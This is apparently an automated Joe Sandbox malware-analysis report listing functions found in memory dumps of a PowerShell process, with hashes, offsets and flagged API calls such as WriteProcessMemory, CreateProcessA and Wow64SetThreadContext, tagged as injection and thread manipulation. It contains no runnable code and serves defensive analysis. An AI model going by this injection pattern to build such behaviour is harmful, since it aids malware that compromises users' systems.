Opcode ID: c3fc171bc5f29ef3a4b8c06450cc8580f9a3df6736707dc8dc1c11b67526421d
Instruction ID: f63ae8f94883703fd7d669ec5049e3651a9ef14b4cba3779502cde7ae7927679
Opcode Fuzzy Hash: c3fc171bc5f29ef3a4b8c06450cc8580f9a3df6736707dc8dc1c11b67526421d
Instruction Fuzzy Hash: 4DB1D6B8E01218CFDB95CFAAD584BEDBBF2BB49300F1490AAD509A7351D7705981CF50

Function 074BC0DB Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3509483100.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd57e450e6417c62cc4675eee0bbc263586ad67a4fea6289b4cb0e3b073854ac
Instruction ID: 8c4ee0717fec5a02d9baf9c0a4c12650b05fedb9057a33bac72da8abfffdf51f
Opcode Fuzzy Hash: fd57e450e6417c62cc4675eee0bbc263586ad67a4fea6289b4cb0e3b073854ac
Instruction Fuzzy Hash: 59913AB4E14218CFDB64DFA9D484BEDB7B2BB8A304F10806AD519AB340DB749D85CF64

Function 074BC0E8 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3509483100.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c74ae8c99914326c1c22539e022e15a748ca9e10dfb47b0c99ebf545bbc47b7
Instruction ID: 3b4be6fa0a829934fd4abae34e4c7d6dbca9f36888dca1be72b8187e449fff15
Opcode Fuzzy Hash: 0c74ae8c99914326c1c22539e022e15a748ca9e10dfb47b0c99ebf545bbc47b7
Instruction Fuzzy Hash: 089128B4E14218CFDB64DFA9D484BEDB7B2BB8A304F10806AD519A7340DB749D85CF64

Function 074BC1DE Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3509483100.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed74927b15f83d06e2f011cdec5df332caff0aa7a9bee5d5d83e30f8fd6f85ba
Instruction ID: 27391a84b2f0ab4594dedcf24f5226a993ad5a85bfc64cb2dfcd76c292578f03
Opcode Fuzzy Hash: ed74927b15f83d06e2f011cdec5df332caff0aa7a9bee5d5d83e30f8fd6f85ba
Instruction Fuzzy Hash: A09117B4E14218CFDB64DFA9D484BEDB7B2BB8A300F10806AD519AB340DB749D85CF64

Function 074C6C3F Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3510177904.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4a998b09f4ac99f328e8e3108c17ea753105953b99f12ce475079b1e64f515e
Instruction ID: 52c15ea403ac5900ed2e6c0e1f1f21d8d05e2f175fc96b7f20ca82f81725679f
Opcode Fuzzy Hash: e4a998b09f4ac99f328e8e3108c17ea753105953b99f12ce475079b1e64f515e
Instruction Fuzzy Hash: E3A105B8D01219CFEBA4CF69D984BADBBB2BB45304F25C4AED009AB251DB745985CF01

Function 079A78D0 Relevance: 2.7, Strings: 1, Instructions: 1411COMMON

Download Yara Rule

Strings

$aFi, xrefs: 079A8149

Memory Dump Source

Source File: 00000006.00000002.3513661407.00000000079A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_79a0000_powershell.jbxd

Similarity

API ID:
String ID: $aFi
API String ID: 0-3578558237
Opcode ID: 5fffc46151dd26c091866d72ac245b4e9b3c2a83f704852e2724cb54f50ba3c7
Instruction ID: 1c8ce261c5b53e6338c7c5a709873f10b3ac9b47f0809759c052db8011507801
Opcode Fuzzy Hash: 5fffc46151dd26c091866d72ac245b4e9b3c2a83f704852e2724cb54f50ba3c7
Instruction Fuzzy Hash: 89B2D3B0B01206EFDB25CBA8D840A6ABBF6EFC5318F14C46AD9159B351DB71D842CBD1

Function 071568E0 Relevance: 1.9, APIs: 1, Instructions: 407
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3503039093.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7150000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3c735a9276d9f047fda3e924860a59ca7c93b0ab379e4137555ebaa12d1ab0f
Instruction ID: e4b2d32c1daaffccfc31219e75f6218cd8741f665ff9c5d0c81e85575e8d5d74
Opcode Fuzzy Hash: f3c735a9276d9f047fda3e924860a59ca7c93b0ab379e4137555ebaa12d1ab0f
Instruction Fuzzy Hash: 630218B4A00209DFDB19CF98D484A9EFBB2FF48710F648559E918AB391C771ED81CB90

Function 0309F67C Relevance: 1.7, APIs: 1, Instructions: 208
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0309F862

Memory Dump Source

Source File: 00000006.00000002.3467074571.0000000003090000.00000040.00000800.00020000.00000000.sdmp, Offset: 03090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3090000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: aff32d2738b12dd1543a02b89d222c361dbc4996a1fc653c3b98a25cd16dce73
Instruction ID: a09257bfcf6c7c61f0f29eb64a8c5040af9b143a23a03a01bfc0c0069cca7b7c
Opcode Fuzzy Hash: aff32d2738b12dd1543a02b89d222c361dbc4996a1fc653c3b98a25cd16dce73
Instruction Fuzzy Hash: AB813771D0125A9FEF50CFA9C8817AEFBF2AF48315F28812AE854E7244D7749891DB81

Function 0309F688 Relevance: 1.7, APIs: 1, Instructions: 201
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0309F862

Memory Dump Source

Source File: 00000006.00000002.3467074571.0000000003090000.00000040.00000800.00020000.00000000.sdmp, Offset: 03090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3090000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 31cfe71e05379f22900e28710de15c71b1526ed677cbb5bde0456cb65dbe9ca6
Instruction ID: 2e00fb08b3643e0c9d3a38e1295b188b5a13d517896db9bdd97bf045fa3c7443
Opcode Fuzzy Hash: 31cfe71e05379f22900e28710de15c71b1526ed677cbb5bde0456cb65dbe9ca6
Instruction Fuzzy Hash: 41813871D0125A9FEF50DFA9C8817AEFBF2BF48315F28812AE854E7244D7748891DB81

Function 074BE47B Relevance: 1.6, APIs: 1, Instructions: 103
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,?,?,?,?,?,?), ref: 074BE569

Memory Dump Source

Source File: 00000006.00000002.3509483100.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74b0000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 482866fce069f0344fe2e19d1dcf5dfe69ec87a673f4aa6c9cee804f3251348c
Instruction ID: a33442d60a4a4d2088bb1b502ccd70e8a8adfec0304641eb17cbb8e5c957d588
Opcode Fuzzy Hash: 482866fce069f0344fe2e19d1dcf5dfe69ec87a673f4aa6c9cee804f3251348c
Instruction Fuzzy Hash: 394167B1D00269DFDB20CFA9C981BDEBFB1AF88710F14852AE815A6250DBB59851CB91

Function 074BE874 Relevance: 1.6, APIs: 1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingA.KERNEL32(?,?,?,?,?,?), ref: 074BE95F

Memory Dump Source

Source File: 00000006.00000002.3509483100.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74b0000_powershell.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: e5d0f65e7fafd815e993228c417cc5aff37e57e68836485738a707b7b94b6342
Instruction ID: 1af042ef2d2aa0205ba76488d8489ff70bbd83a701b3a2a25e163cf5b2db288b
Opcode Fuzzy Hash: e5d0f65e7fafd815e993228c417cc5aff37e57e68836485738a707b7b94b6342
Instruction Fuzzy Hash: 914178B1C00369DFEB20DFA9D8417EEBBB1AF89710F14852AE814A7240DB759845CB91

Function 074BE480 Relevance: 1.6, APIs: 1, Instructions: 100
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,?,?,?,?,?,?), ref: 074BE569

Memory Dump Source

Source File: 00000006.00000002.3509483100.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74b0000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b803f5ea7eef4bffd1b383db42770527ac6708eeb30bfca3f89faf379d61237e
Instruction ID: 11d09c6c736b8c6baeaa52218c48c74d2c0f1a8f3ec0a94533d2cae0e32fd1ce
Opcode Fuzzy Hash: b803f5ea7eef4bffd1b383db42770527ac6708eeb30bfca3f89faf379d61237e
Instruction Fuzzy Hash: FD4156B1C00269DFDB20CFA9C981BDEBBB1AF88710F14852AE815A6250DBB59851CF91

Function 074BE878 Relevance: 1.6, APIs: 1, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingA.KERNEL32(?,?,?,?,?,?), ref: 074BE95F

Memory Dump Source

Source File: 00000006.00000002.3509483100.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74b0000_powershell.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: 617a678000b7a9ef6c4fb50935f6c390a241a5270edf2ea207d952870b3b1afa
Instruction ID: 43b072845ac3180826133787bb5ef02fa43b0be9f543b08915edc334b51904fe
Opcode Fuzzy Hash: 617a678000b7a9ef6c4fb50935f6c390a241a5270edf2ea207d952870b3b1afa
Instruction Fuzzy Hash: 414177B1C00369DFEB20DFA9C8817DEBBF1BF89310F14852AE814A7240DBB59845CB91

Function 030802D8 Relevance: 1.6, APIs: 1, Instructions: 73
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 03080370

Memory Dump Source

Source File: 00000006.00000002.3467046119.0000000003080000.00000040.00000800.00020000.00000000.sdmp, Offset: 03080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3080000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 56d6760088c4c4c54057612fd307b4223a892445d72eb27d2cf169ac8a1cb709
Instruction ID: 480273fd94dea81f2b7d9d370a7a86af9e2d4862160f4230071d4eca5ad21a06
Opcode Fuzzy Hash: 56d6760088c4c4c54057612fd307b4223a892445d72eb27d2cf169ac8a1cb709
Instruction Fuzzy Hash: DF214B759013499FDF10DFA9C881BEEBBF4FF48320F148429E958A7250C7789554CBA4

Function 030802E0 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 03080370

Memory Dump Source

Source File: 00000006.00000002.3467046119.0000000003080000.00000040.00000800.00020000.00000000.sdmp, Offset: 03080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3080000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: cda5d58a9fbcf5c01c282dcf664f404e61880631a441e83c87c797bf49483b83
Instruction ID: a08d85685a9760b9a1137b67c819f8b46b97908294802ade1dcd668be52ef62b
Opcode Fuzzy Hash: cda5d58a9fbcf5c01c282dcf664f404e61880631a441e83c87c797bf49483b83
Instruction Fuzzy Hash: E02127719013499FDF10DFA9C885BDEBBF5FF48320F148429E958A7250C7789954CBA4

Function 0309FD88 Relevance: 1.6, APIs: 1, Instructions: 68
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0309FE0E

Memory Dump Source

Source File: 00000006.00000002.3467074571.0000000003090000.00000040.00000800.00020000.00000000.sdmp, Offset: 03090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3090000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 9d15afa5d464857cee7cc59331333aab41f324247a2c15f21ad2bb3a723bdde1
Instruction ID: 0020ebf136258d963144a4fdc9288f554f28d3e504e20771ed7d769793e613e0
Opcode Fuzzy Hash: 9d15afa5d464857cee7cc59331333aab41f324247a2c15f21ad2bb3a723bdde1
Instruction Fuzzy Hash: 89213E719003099FEB10CFAAD4457EEBBF4EF48324F14842AD519A7240D778A944CFA5

Function 0309FD90 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0309FE0E

Memory Dump Source

Source File: 00000006.00000002.3467074571.0000000003090000.00000040.00000800.00020000.00000000.sdmp, Offset: 03090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3090000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 59c0a88eb74eecd351b53a47940a0101b5de7c1d100b346a0267f047f8c42fb9
Instruction ID: 50c7f726b73f46c9e5d40f1274576da6c34367a02939370eedc26f2642d3eeee
Opcode Fuzzy Hash: 59c0a88eb74eecd351b53a47940a0101b5de7c1d100b346a0267f047f8c42fb9
Instruction Fuzzy Hash: 422138719003098FEB10CFAAC4857EEBBF4EF88324F14842AD519A7240DB78A944CFA5

Function 07156D50 Relevance: 1.6, APIs: 1, Instructions: 61
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,00000001), ref: 07156DDD

Memory Dump Source

Source File: 00000006.00000002.3503039093.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7150000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 8dfaccbcd35072036a64806d6eb45061ab07c935973d29a95156028a840e5087
Instruction ID: 711f2fc62b36bd32c8b0da5d1979569aeaa6b31160d5720ad4fae8591467a12e
Opcode Fuzzy Hash: 8dfaccbcd35072036a64806d6eb45061ab07c935973d29a95156028a840e5087
Instruction Fuzzy Hash: 3D21E0B5900359DFCB14CF9AD984BDEBBF4FB48710F10842AE918A7250D7B4A950CFA0

Function 074BEBDD Relevance: 1.6, APIs: 1, Instructions: 56fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNEL32(?,?,?,?,?), ref: 074BEC4E

Memory Dump Source

Source File: 00000006.00000002.3509483100.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74b0000_powershell.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 45fc04a38c455437f989fb523f7b1a5c432722db7776d95cbd97c22a0e38c71b
Instruction ID: 58443c593eb83a4991692dd04e8ce8871aff06e4512023e02e13c3fade8a2a3b
Opcode Fuzzy Hash: 45fc04a38c455437f989fb523f7b1a5c432722db7776d95cbd97c22a0e38c71b
Instruction Fuzzy Hash: FA1147728003499FDB20CFAAC845BEFBFF5EF88320F14841AE519A7210CB759950CBA1

Function 074BEBE0 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNEL32(?,?,?,?,?), ref: 074BEC4E

Memory Dump Source

Source File: 00000006.00000002.3509483100.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74b0000_powershell.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 5bf19c2bf8255f862d88291f111d111b8f675652bcfbf4e1049d0b4cca0c9441
Instruction ID: 788c6bf8af24aadc777127c5d3de18bd0ece3dcb79d1d881413907b529f61f46
Opcode Fuzzy Hash: 5bf19c2bf8255f862d88291f111d111b8f675652bcfbf4e1049d0b4cca0c9441
Instruction Fuzzy Hash: B21129728003499FDB10DFAAC945BDFBBF5EF88324F148419E519A7250C7759950CFA1

Function 086230E0 Relevance: 1.5, Strings: 1, Instructions: 260COMMON

Download Yara Rule

Strings

K,, xrefs: 086233C3, 086233C8

Memory Dump Source

Source File: 00000006.00000002.3516284452.0000000008620000.00000040.00000800.00020000.00000000.sdmp, Offset: 08620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8620000_powershell.jbxd

Similarity

API ID:
String ID: K,
API String ID: 0-3311693489
Opcode ID: 8216cf65a205094a16996136ce5ea36e8c0b8f0b65d0d38b50059d4079cc0982
Instruction ID: 4cc6e885a0a87b90a71301b98da751c3e1b1ede94ca99508f020d99701d2d673
Opcode Fuzzy Hash: 8216cf65a205094a16996136ce5ea36e8c0b8f0b65d0d38b50059d4079cc0982
Instruction Fuzzy Hash: 82A1AC74B01715DFDB04DFA4DA55AADBBB2EF88302F1180A9E411AB3A1CB399E41CF50

Function 074CA439 Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

I, xrefs: 074CCA12

Memory Dump Source

Source File: 00000006.00000002.3510177904.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: be56bbbd9abe50c87b5f33ebcf11f59c29b23bddf1796f0401b8c18ebcef86ff
Instruction ID: 7f51b5426a997f857d9ace4632cf72ba298f7b3a6d6aeed99feb223b96cc213a
Opcode Fuzzy Hash: be56bbbd9abe50c87b5f33ebcf11f59c29b23bddf1796f0401b8c18ebcef86ff
Instruction Fuzzy Hash: 6BF0E2B4A04229DFDBA5CF24D9887DAB7B1FB86316F0045EAD00DA6290C7784EC5CF02

Function 073967BF Relevance: 1.2, Instructions: 1230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3504678151.0000000007390000.00000040.00000800.00020000.00000000.sdmp, Offset: 07390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7390000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0087189159f17b56d93e0faa55760a6af0b2e5dc6d50c729c3f8ffe3b11e2ec2
Instruction ID: d8cc36fc93b12e7d2edcf35a6380ee04fd158417e7b9c29ced0c4551a33c9d70
Opcode Fuzzy Hash: 0087189159f17b56d93e0faa55760a6af0b2e5dc6d50c729c3f8ffe3b11e2ec2
Instruction Fuzzy Hash: EAC240B4A00215DFEB24DB54C950B99B7B2EF89304F15C1E9EA09AB341CB71ED82CF95

Function 07390048 Relevance: .9, Instructions: 892COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3504678151.0000000007390000.00000040.00000800.00020000.00000000.sdmp, Offset: 07390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7390000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c59b1307a7660bf4f9a66285eeea3dea66ba30eebb1a2e9b7ec4815661c31c5c
Instruction ID: 2e7ebc64ca18db7fdac44e96264fd281ce4f57a4a4fddd05afb6945e1585a9bd
Opcode Fuzzy Hash: c59b1307a7660bf4f9a66285eeea3dea66ba30eebb1a2e9b7ec4815661c31c5c
Instruction Fuzzy Hash: 9B7252B4A0021ADFEF18CB68C950B5EBBB2FF85304F5481A9D509AB351DB71ED81CB91

Function 079A91A6 Relevance: .8, Instructions: 765COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3513661407.00000000079A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_79a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77b43d571cc4915d210a171e02d1d598659033e038afcc720e6270b9ae22b72e
Instruction ID: e14b24409dd1ebbcc360493d13508709fb556a24e6b3cd9f89f8df162a200f22
Opcode Fuzzy Hash: 77b43d571cc4915d210a171e02d1d598659033e038afcc720e6270b9ae22b72e
Instruction Fuzzy Hash: 85725A74B00215DFEB64CB58C854B59B7B2BF85318F15C0A9E909AB352CB72ED81CF92

Function 079A66E0 Relevance: .7, Instructions: 718COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3513661407.00000000079A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_79a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4842c3bc85a7de3852b68633f4d12021ad1d16c95d4cbe562825b96a41bd161a
Instruction ID: 7e99248399075b86bef835260446a135d66b42aaf4a83054beaac660ae23d478
Opcode Fuzzy Hash: 4842c3bc85a7de3852b68633f4d12021ad1d16c95d4cbe562825b96a41bd161a
Instruction Fuzzy Hash: 1D3239B170120AEFDB248F68D8447AA7BB6EFC5318F1C84AAD6058B291DB71DC51C7E1

Function 0325EC28 Relevance: .6, Instructions: 605COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3468632278.0000000003250000.00000040.00000800.00020000.00000000.sdmp, Offset: 03250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3250000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db5c7c66be29959f0f0add3771af06706161a6515e6bdf596aae25b3be20cfde
Instruction ID: d4077786f28244538589bcaa91ec75d1f6e8cf878a4b75186e7c21480c75e85b
Opcode Fuzzy Hash: db5c7c66be29959f0f0add3771af06706161a6515e6bdf596aae25b3be20cfde
Instruction Fuzzy Hash: 1A328F75A05245DFCB05CF68D590A9EBFB1FF89310F19819AE844AB362C730ED86CB91

Function 079A32B0 Relevance: .6, Instructions: 592COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3513661407.00000000079A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_79a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57fdaadaabe34165bf59afcd2e803ea9dfceea53511d906aa8d81868a6683057
Instruction ID: b6e8c4b60b625b478b130f742def29bcff2dcf3d449e8fddb4bbca3dc101b325
Opcode Fuzzy Hash: 57fdaadaabe34165bf59afcd2e803ea9dfceea53511d906aa8d81868a6683057
Instruction Fuzzy Hash: B11229B1B06346AFDB158B78981076ABBA5AFC2218F1484ABD545CF392EF71C841C7D1

Function 079A990B Relevance: .6, Instructions: 574COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3513661407.00000000079A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_79a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 128a7e1fc670b788744b929ebd53d61eaea91067593381189cfce16eaa58692d
Instruction ID: 9edc5c1d831673d4eb8d981e5f7e9e8afa29fa322dee488ecd56b47bfda45f9f
Opcode Fuzzy Hash: 128a7e1fc670b788744b929ebd53d61eaea91067593381189cfce16eaa58692d
Instruction Fuzzy Hash: 01425974B00215DFEB64CB18C854B59B7B2BF85718F15C0A9E909AB352CB72ED81CF92

Function 079A08F8 Relevance: .5, Instructions: 481COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3513661407.00000000079A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_79a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8e63fe2b43db0bb1f6ed5b0c8cb3f48dbf34c94eb418556936e6e3c7d9b3825
Instruction ID: c2c9f03de71062e16e0c389ac79a3a1e6d28715fcb6b87556d9ec5de0df19f76
Opcode Fuzzy Hash: c8e63fe2b43db0bb1f6ed5b0c8cb3f48dbf34c94eb418556936e6e3c7d9b3825
Instruction Fuzzy Hash: 8EE125F2B05316EFDB148B6CD81076ABBAAAFC5218F24847AD505CB241FB72D941C7E1

Function 079A7E8D Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3513661407.00000000079A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_79a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29a98a6576b43c25b23156559deca64dfd5c94582ad202a1be56e4c2841a7b9b
Instruction ID: 3f2e28fd5173ff460bd5a64793541816a43a6f14df07cb29ba816880e3380724
Opcode Fuzzy Hash: 29a98a6576b43c25b23156559deca64dfd5c94582ad202a1be56e4c2841a7b9b
Instruction Fuzzy Hash: 0C125BB4A01205EFDB14CB98C855E6DBBB6EFC5708F15C469E909AB351CB72EC42CB81

Function 079A78B0 Relevance: .5, Instructions: 469COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3513661407.00000000079A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_79a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e365ad0058263f08e6886e42755e93e4cf3d76037bc91ecb77f24db192b92492
Instruction ID: faec1a55013c42db863c1fe82410a153eb52235f0f11d5301b2922c7cc2e79d8
Opcode Fuzzy Hash: e365ad0058263f08e6886e42755e93e4cf3d76037bc91ecb77f24db192b92492
Instruction Fuzzy Hash: 4D127DB4B02205EFDB24CB94C841E69B7B6EFC5718F15C469E819AB351C772EC42CB81

Function 07398FB8 Relevance: .4, Instructions: 408COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3504678151.0000000007390000.00000040.00000800.00020000.00000000.sdmp, Offset: 07390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7390000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9057e91cd590ac864626ac67c76c240b13f140713760879f7044cf46be5227c
Instruction ID: 67892b0678eeff9a34aef30f7893fa897d7b64200acf215b2e40a431a6245ec0
Opcode Fuzzy Hash: d9057e91cd590ac864626ac67c76c240b13f140713760879f7044cf46be5227c
Instruction Fuzzy Hash: D8D127B1B0421ACFEF248F69D8447AABBA6FFC5210F1480BED51D8B291DB71E851C791

Function 079AA970 Relevance: .4, Instructions: 408COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3513661407.00000000079A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_79a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fd408740cf2c4bdf7127afe319ea5c8bce5614f0a2a55d68832df32cea9341c
Instruction ID: 04d9a5b3e0ec271de1780d3af9b32cb33048fe560dda01e797354ef59805318f
Opcode Fuzzy Hash: 9fd408740cf2c4bdf7127afe319ea5c8bce5614f0a2a55d68832df32cea9341c
Instruction Fuzzy Hash: 6CD104B1B01206EFEB289B68D84066ABBFAEFC5218F24C46AD5158B351DF71DC42C7D1

Function 079A7388 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3513661407.00000000079A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_79a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05b22e114f01038126cb1fc5da6708477fef65eeda7653aacbc5b16fe733ad60
Instruction ID: 1d947b88d4647dd39c04192a1d471f0e3edd260cc26499c2b99c880925b33eee
Opcode Fuzzy Hash: 05b22e114f01038126cb1fc5da6708477fef65eeda7653aacbc5b16fe733ad60
